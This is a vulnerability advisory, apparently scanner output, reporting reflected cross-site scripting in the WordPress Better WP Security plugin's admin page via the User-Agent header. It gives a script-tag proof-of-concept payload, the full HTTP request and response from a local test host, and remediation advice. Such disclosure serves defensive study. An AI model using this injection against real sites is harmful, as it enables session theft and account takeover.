WordPress Better WP Security Cross Site Scripting

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Wordpress Security audit  
better_wp_security  
  
1. Cross-site scripting (reflected)  
  
Summary  
  
Severity: High  
Confidence: Certain  
Host: http://127.0.0.1  
Path: /wp-admin/admin.php?page=better_wp_security  
  
Issue detail  
  
The value of the User-Agent HTTP header is copied into the HTML  
document as plain text between tags. The payload  
a7123<script>alert(1)</script>78089b4648b was submitted in the  
User-Agent HTTP header. This input was echoed unmodified in the  
application's response.  
  
This proof-of-concept attack demonstrates that it is possible to  
inject arbitrary JavaScript into the application's response.  
Issue background Reflected cross-site scripting vulnerabilities arise  
when data is copied from a request and echoed into the application's  
immediate response in an unsafe way. An attacker can use the  
vulnerability to construct a request which, if issued by another  
application user, will cause JavaScript code supplied by the attacker  
to execute within the user's browser in the context of that user's  
session with the application.  
  
The attacker-supplied code can perform a wide variety of actions, such  
as stealing the victim's session token or login credentials,  
performing arbitrary actions on the victim's behalf, and logging their  
keystrokes.  
  
Users can be induced to issue the attacker's crafted request in  
various ways. For example, the attacker can send a victim a link  
containing a malicious URL in an email or instant message. They can  
submit the link to popular web sites that allow content authoring, for  
example in blog comments. And they can create an innocuous looking web  
site which causes anyone viewing it to make arbitrary cross-domain  
requests to the vulnerable application (using either the GET or the  
POST method).  
  
The security impact of cross-site scripting vulnerabilities is  
dependent upon the nature of the vulnerable application, the kinds of  
data and functionality which it contains, and the other applications  
which belong to the same domain and organisation. If the application  
is used only to display non-sensitive public content, with no  
authentication or access control functionality, then a cross-site  
scripting flaw may be considered low risk. However, if the same  
application resides on a domain which can access cookies for other  
more security-critical applications, then the vulnerability could be  
used to attack those other applications, and so may be considered high  
risk. Similarly, if the organisation which owns the application is a  
likely target for phishing attacks, then the vulnerability could be  
leveraged to lend credibility to such attacks, by injecting Trojan  
functionality into the vulnerable application, and exploiting users'  
trust in the organisation in order to capture credentials for other  
applications which it owns. In many kinds of application, such as  
those providing online banking functionality, cross-site scripting  
should always be considered high risk.  
Issue remediation In most situations where user-controllable data is  
copied into application responses, cross-site scripting attacks can be  
prevented using two layers of defences:  
  
Input should be validated as strictly as possible on arrival, given  
the kind of content which it is expected to contain. For example,  
personal names should consist of alphabetical and a small range of  
typographical characters, and be relatively short; a year of birth  
should consist of exactly four numerals; email addresses should match  
a well-defined regular expression. Input which fails the validation  
should be rejected, not sanitised.  
User input should be HTML-encoded at any point where it is copied into  
application responses. All HTML metacharacters, including < > " ' and  
=, should be replaced with the corresponding HTML entities (< >  
etc).  
  
In cases where the application's functionality allows users to author  
content using a restricted subset of HTML tags and attributes (for  
example, blog comments which allow limited formatting and linking), it  
is necessary to parse the supplied HTML to validate that it does not  
use any dangerous syntax; this is a non-trivial task.  
  
Request  
GET /wp-admin/admin.php?page=better_wp_security HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)  
Gecko/20100101 Firefox/11.0a7123<script>alert(1)</script>78089b4648b  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://127.0.0.1/wp-admin/options-general.php  
Cookie:  
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1333587813%7C73fe3e4d525d2460588947c4b7a03114;  
wp-settings-1=widgets_access%3Doff%26uploader%3D1;  
wp-settings-time-1=1333368822; wordpress_test_cookie=WP+Cookie+check;  
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1333587813%7C7b961d6e5caea2c784f282c5ed426964;  
bb2_screener_=1333415711+127.0.0.1; PHPSESSID=j3l493obmauq7akebg8g3jb4k3  
  
  
Response  
HTTP/1.1 200 OK  
Date: Tue, 03 Apr 2012 02:05:00 GMT  
Server: Apache/2.2.20 (Ubuntu)  
X-Powered-By: PHP/5.3.6-13ubuntu3.6  
Expires: Wed, 11 Jan 1984 05:00:00 GMT  
Last-Modified: Tue, 03 Apr 2012 02:05:00 GMT  
Cache-Control: no-cache, must-revalidate, max-age=0  
Pragma: no-cache  
X-Frame-Options: SAMEORIGIN  
Vary: Accept-Encoding  
Content-Length: 35849  
Content-Type: text/html; charset=UTF-8  
  
<!DOCTYPE html>  
<!--[if IE 8]>  
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"  
lang="en-US">  
<![endif]-->  
<!--[if !(IE 8) ]><!-->  
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr  
...[SNIP]...  
<strong>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)  
Gecko/20100101  
Firefox/11.0a7123<script>alert(1)</script>78089b4648b</strong>  
...[SNIP]...  
  
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